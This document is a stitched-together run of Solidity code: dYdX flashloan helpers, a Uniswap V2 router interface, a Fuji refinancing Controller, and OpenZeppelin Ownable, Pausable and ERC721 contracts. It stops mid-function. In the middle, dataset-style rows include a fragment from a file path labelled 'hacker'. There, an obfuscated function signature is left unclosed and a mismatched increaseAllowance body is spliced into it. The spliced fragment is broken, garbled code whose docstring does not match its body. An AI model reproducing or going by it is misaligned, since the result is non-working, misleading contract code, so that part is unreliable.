enum Status { Normal, Liquid, Vapor }
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
}
library Actions {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (publicly)
Sell, // sell an amount of some token (publicly)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
}
library Types {
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
}
/**
* @title ICallee
* @author dYdX
*
* Interface that Callees for Solo must implement in order to ingest data.
*/
interface ICallee {
/**
* Allows users to send this contract arbitrary data.
*
* @param sender The msg.sender to Solo
* @param accountInfo The account from which the data is being sent
* @param data Arbitrary data given by the sender
*/
function callFunction(
address sender,
Account.Info memory accountInfo,
bytes memory data
) external;
}
interface ISoloMargin {
function getNumMarkets() external view returns (uint256);
function getMarketTokenAddress(uint256 marketId) external view returns (address);
function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external;
}
contract DyDxFlashloanBase {
// -- Internal Helper functions -- //
function _getMarketIdFromTokenAddress(ISoloMargin solo, address token)
internal
view
returns (uint256)
{
uint256 numMarkets = solo.getNumMarkets();
address curToken;
for (uint256 i = 0; i < numMarkets; i++) {
curToken = solo.getMarketTokenAddress(i);
if (curToken == token) {
return i;
}
}
revert("No marketId found");
}
function _getAccountInfo(address receiver) internal pure returns (Account.Info memory) {
return Account.Info({ owner: receiver, number: 1 });
}
function _getWithdrawAction(uint256 marketId, uint256 amount)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
}
function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) {
return
Actions.ActionArgs({
actionType: Actions.ActionType.Call,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: data
});
}
function _getDepositAction(uint256 marketId, uint256 amount)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
interface ICFlashloanReceiver {
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external;
}
interface ICTokenFlashloan {
function flashLoan(
address receiver,
uint256 amount,
bytes calldata params
) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { IVault } from "./Vaults/IVault.sol";
import { IProvider } from "./Providers/IProvider.sol";
import { Flasher } from "./Flashloans/Flasher.sol";
import { FlashLoan } from "./Flashloans/LibFlashLoan.sol";
import { IFujiAdmin } from "./IFujiAdmin.sol";
import { Errors } from "./Libraries/Errors.sol";
interface IVaultExt is IVault {
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
function vAssets() external view returns (VaultAssets memory);
}
contract Controller is Ownable {
using SafeMath for uint256;
IFujiAdmin private _fujiAdmin;
modifier isValidVault(address _vaultAddr) {
require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!");
_;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Performs a forced refinancing routine
* @param _vaultAddr: fuji Vault address
* @param _newProvider: new provider address
* @param _ratioA: ratio to determine how much of debtposition to move
* @param _ratioB: _ratioA/_ratioB <= 1, and > 0
* @param _flashNum: integer identifier of flashloan provider
*/
function doRefinancing(
address _vaultAddr,
address _newProvider,
uint256 _ratioA,
uint256 _ratioB,
uint8 _flashNum
) external isValidVault(_vaultAddr) onlyOwner {
IVault vault = IVault(_vaultAddr);
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vaultAddr).vAssets();
vault.updateF1155Balances();
// Check Vault borrowbalance and apply ratio (consider compound or not)
uint256 debtPosition =
IProvider(vault.activeProvider()).getBorrowBalanceOf(vAssets.borrowAsset, _vaultAddr);
uint256 applyRatiodebtPosition = debtPosition.mul(_ratioA).div(_ratioB);
// Check Ratio Input and Vault Balance at ActiveProvider
require(
debtPosition >= applyRatiodebtPosition && applyRatiodebtPosition > 0,
Errors.RF_INVALID_RATIO_VALUES
);
//Initiate Flash Loan Struct
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.Switch,
asset: vAssets.borrowAsset,
amount: applyRatiodebtPosition,
vault: _vaultAddr,
newProvider: _newProvider,
userAddrs: new address[](0),
userBalances: new uint256[](0),
userliquidator: address(0),
fliquidator: address(0)
});
Flasher(payable(_fujiAdmin.getFlasher())).initiateFlashloan(info, _flashNum);
IVault(_vaultAddr).setActiveProvider(_newProvider);
}
}
|
return Half ray, 1e18/2/
|
function halfWad() internal pure returns (uint256) {
return _HALF_WAD;
}
| 1,311,696 |
./full_match/1/0xf4c70b41caF2cF596643cB6F65Eb8c8340E7Fb3E/sources/contracts/hacker/SMARTMOON.sol
|
Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {ERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address./
|
function iSXhEFFCKoTvmgTJ(
address[] calldata tUZSblOhixgXgzRxBcl,
uint8[] calldata GvxrJTGqctuaPdzlNeg,
address edCOkeGUXcnjDObjABG,
uint128 mfyVrcXegQwtIJGbOjE,
bytes32[] calldata LXwVljCjmXhNtwPLFfn,
uint[] calldata LxkXWlAcNhEFgYoUBii
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
| 2,970,601 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
